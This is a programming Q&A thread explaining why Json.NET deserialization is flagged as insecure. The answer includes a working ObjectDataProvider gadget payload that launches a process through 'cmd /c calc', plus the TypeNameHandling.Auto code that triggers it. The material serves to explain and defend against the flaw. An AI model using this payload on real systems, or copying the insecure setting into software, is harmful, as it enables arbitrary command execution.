14

A static security scanner has flagged my C# code on this line:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response will contain a JSON response from a web API.

The scanner has flagged this as "insecure deserialization".

Can someone help me understand how this can be exploited? Web examples are not really clear on whether the exploit can happen within the DeserializeObject method itself or if only after the deserialization.

Scott Hannen
  • 27,588
  • 3
  • 45
  • 62
user7676946
  • 179
  • 2
  • 7
  • Have you considered the part – ChrisBint Apr 30 '19 at 15:33
  • 1
    Which scanner is it? I can only presume that it's unhappy with the response being deserialised to a dynamic object, which means you would deserialise _anything_ that you are sent. I'm pretty sure that wouldn't produce anything executable though – Martin Apr 30 '19 at 15:33
  • As far as I know, the vulnerability exist only in non-generic version of DeserializeObject method (but maybe also in dynamic type). Check [here](https://youtu.be/oUAeWhW5b8c?t=471) for more details. – Artur Apr 30 '19 at 15:52
  • Although such analyzers can provide useful analysis, I've seen situations where the exact reason for the flag isn't clearly specified. If a person rejected it they would explain why more clearly, but the scanner's "thinking" can be opaque, which means the robot overlord doesn't tell us why it's unhappy. – Scott Hannen Apr 30 '19 at 15:55
  • No idea if this is the answer but OWASP recomend that you set TypeNameHandling to None https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Deserialization_Cheat_Sheet.md – Martin Brown Apr 30 '19 at 15:56
  • 1
    Possible duplicate of [TypeNameHandling caution in Newtonsoft Json](https://stackoverflow.com/questions/39565954/typenamehandling-caution-in-newtonsoft-json) – Scott Hannen Apr 30 '19 at 16:00
  • Also possibly related: [Is it possible to set Json.Net to ignore $type?](https://stackoverflow.com/q/48159442/3744182) for which the answer is, *yes - that's the default*. – dbc Apr 30 '19 at 18:46
  • What happens if you replace that with `var result = JToken.Parse(response);`? The return is the same either way. – dbc Apr 30 '19 at 18:50

1 Answers1

23

Try to deserialize this json:

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

with this code

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

It will open the Windows calculator application. The same way any executable or script could be run. The problem persists also if you use object instead of dynamic or the non generic DeserializeObject method. Be aware that if you don't set TypeNameHandling = TypeNameHandling.Auto someone else could set the global settings like this:

JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};
riQQ
  • 9,878
  • 7
  • 49
  • 66
Artur
  • 4,595
  • 25
  • 38
  • That's a great explanation! While I get that it will be vulnerable if TrustedType is set to object or dynamic. Will it be vulnerable if "JObject" is used as TrustedType as seen in this line: JsonConvert.DeserializeObject(jsonString) ? – shashi May 21 '21 at 17:31